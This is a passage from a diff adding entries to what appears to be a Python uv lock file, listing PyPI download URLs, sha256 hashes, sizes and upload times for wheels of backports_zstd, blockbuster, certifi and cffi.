+    { url = "https://files.pythonhosted.org/packages/ea/43/258587233b728bbff457bdb0c52b3e08504c485a8642b3daeb0bdd5a76bc/backports_zstd-1.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:1049e804cc8754290b24dab383d4d6ed0b7f794ad8338813ddcb3907d15a89d0", size = 499429, upload-time = "2025-12-29T17:27:21.063Z" },
+    { url = "https://files.pythonhosted.org/packages/32/04/cfab76878f360f124dbb533779e1e4603c801a0f5ada72ae5c742b7c4d7d/backports_zstd-1.3.0-cp313-cp313t-win32.whl", hash = "sha256:7d3f0f2499d2049ec53d2674c605a4b3052c217cc7ee49c05258046411685adc", size = 289389, upload-time = "2025-12-29T17:27:22.287Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/ff/dbcfb6c9c922ab6d98f3d321e7d0c7b34ecfa26f3ca71d930fe1ef639737/backports_zstd-1.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:eb2f8fab0b1ea05148394cb34a9e543a43477178765f2d6e7c84ed332e34935e", size = 314776, upload-time = "2025-12-29T17:27:23.458Z" },
+    { url = "https://files.pythonhosted.org/packages/01/4b/82e4baae3117806639fe1c693b1f2f7e6133a7cefd1fa2e38018c8edcd68/backports_zstd-1.3.0-cp313-cp313t-win_arm64.whl", hash = "sha256:c66ad9eb5bfbe28c2387b7fc58ddcdecfb336d6e4e60bcba1694a906c1f21a6c", size = 289315, upload-time = "2025-12-29T17:27:24.601Z" },
+    { url = "https://files.pythonhosted.org/packages/95/b7/e843d32122f25d9568e75d1e7a29c00eae5e5728015604f3f6d02259b3a5/backports_zstd-1.3.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3ab0d5632b84eff4355c42a04668cfe6466f7d390890f718978582bd1ff36949", size = 409771, upload-time = "2025-12-29T17:27:48.869Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/a5/d6a897d4b91732f54b4506858f1da65d7a5b2dc0dbe36a23992a64f09f5a/backports_zstd-1.3.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:6b97cea95dbb1a97c02afd718155fad93f747815069722107a429804c355e206", size = 339289, upload-time = "2025-12-29T17:27:50.055Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/b0/f0ce566ec221b284508eebbf574a779ba4a8932830db6ea03b6176f336a2/backports_zstd-1.3.0-pp310-pypy310_pp73-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:477895f2642f9397aeba69618df2c91d7f336e02df83d1e623ac37c5d3a5115e", size = 420335, upload-time = "2025-12-29T17:27:51.455Z" },
+    { url = "https://files.pythonhosted.org/packages/62/6d/bf55652c84c79b2565d3087265bcb097719540a313dee16359a54d83ab4e/backports_zstd-1.3.0-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:330172aaf5fd3bfa53f49318abc6d1d4238cb043c384cf71f7b8f0fe2fb7ce31", size = 393880, upload-time = "2025-12-29T17:27:52.869Z" },
+    { url = "https://files.pythonhosted.org/packages/be/e0/d1feebb70ffeb150e2891c6f09700079f4a60085ebc67529eb1ca72fb5c2/backports_zstd-1.3.0-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:32974e71eff15897ed3f8b7766a753d9f3197ea4f1c9025d80f8de099a691b99", size = 413840, upload-time = "2025-12-29T17:27:54.527Z" },
+    { url = "https://files.pythonhosted.org/packages/36/28/3b7be27ae51e418d3a724bbc4cb7fea77b6bd38b5007e333a56b0cb165c8/backports_zstd-1.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:993e3a34eaba5928a2065545e34bf75c65b9c34ecb67e43d5ef49b16cc182077", size = 299685, upload-time = "2025-12-29T17:27:56.149Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/d9/8c9c246e5ea79a4f45d551088b11b61f2dc7efcdc5dbe6df3be84a506e0c/backports_zstd-1.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:968167d29f012cee7b112ad031a8925e484e97e99288e55e4d62962c3a1013e3", size = 409666, upload-time = "2025-12-29T17:27:57.37Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/4f/a55b33c314ca8c9074e99daab54d04c5d212070ae7dbc435329baf1b139e/backports_zstd-1.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d8f6fc7d62b71083b574193dd8fb3a60e6bb34880cc0132aad242943af301f7a", size = 339199, upload-time = "2025-12-29T17:27:58.542Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/13/ce31bd048b1c88d0f65d7af60b6cf89cfbed826c7c978f0ebca9a8a71cfc/backports_zstd-1.3.0-pp311-pypy311_pp73-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:e0f2eca6aac280fdb77991ad3362487ee91a7fb064ad40043fb5a0bf5a376943", size = 420332, upload-time = "2025-12-29T17:28:00.332Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/80/c0cdbc533d0037b57248588403a3afb050b2a83b8c38aa608e31b3a4d600/backports_zstd-1.3.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:676eb5e177d4ef528cf3baaeea4fffe05f664e4dd985d3ac06960ef4619c81a9", size = 393879, upload-time = "2025-12-29T17:28:01.57Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/38/c97428867cac058ed196ccaeddfdf82ecd43b8a65965f2950a6e7547e77a/backports_zstd-1.3.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:199eb9bd8aca6a9d489c41a682fad22c587dffe57b613d0fe6d492d0d38ce7c5", size = 413842, upload-time = "2025-12-29T17:28:03.113Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/ec/6247be6536668fe1c7dfae3eaa9c94b00b956b716957c0fc986ba78c3cc4/backports_zstd-1.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:2524bd6777a828d5e7ccd7bd1a57f9e7007ae654fc2bd1bc1a207f6428674e4a", size = 299684, upload-time = "2025-12-29T17:28:04.856Z" },
+]
+
+[[package]]
+name = "blockbuster"
+version = "1.5.26"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "forbiddenfruit", marker = "python_full_version >= '3.11' and implementation_name == 'cpython'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/55/e0/dcbab602790a576b0b94108c07e2c048e5897df7cc83722a89582d733987/blockbuster-1.5.26.tar.gz", hash = "sha256:cc3ce8c70fa852a97ee3411155f31e4ad2665cd1c6c7d2f8bb1851dab61dc629", size = 36085, upload-time = "2025-12-05T10:43:47.735Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/95/c1/84fc6811122f54b20de2e5afb312ee07a3a47a328755587d1e505475239b/blockbuster-1.5.26-py3-none-any.whl", hash = "sha256:f8e53fb2dd4b6c6ec2f04907ddbd063ca7cd1ef587d24448ef4e50e81e3a79bb", size = 13226, upload-time = "2025-12-05T10:43:48.778Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2026.2.25"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "2.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "pycparser", marker = "implementation_name != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" },
+    { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" },
+    { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" },
+    { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" },
+    { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" },
+    { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" },
+    { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" },
+    { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" },
+    { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" },
+    { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" },
+    { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" },
+    { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" },
+    { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" },
+    { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" },
+    { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" },
+    { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" },
+    { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" },
+    { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" },
+    { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" },
+    { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" },
+    { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" },
+    { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" },
+    { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" },
